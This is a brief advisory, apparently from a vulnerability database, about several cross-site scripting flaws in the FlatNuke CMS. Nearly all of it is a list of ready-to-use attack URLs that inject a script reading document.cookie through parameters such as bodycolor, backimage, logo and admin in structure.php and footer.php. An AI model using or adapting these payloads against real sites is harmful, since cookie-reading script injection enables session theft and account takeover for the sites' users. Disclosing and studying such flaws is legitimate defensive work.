|
|
FlatNuke Multiple Cross Site Scripting Vulnerabilities
No exploit is required. Examples have been provided: (1) cross site scripting: http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script> (2) if register_globals in php.ini are off (often), cross site scripting: http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script> |
|
Privacy Statement |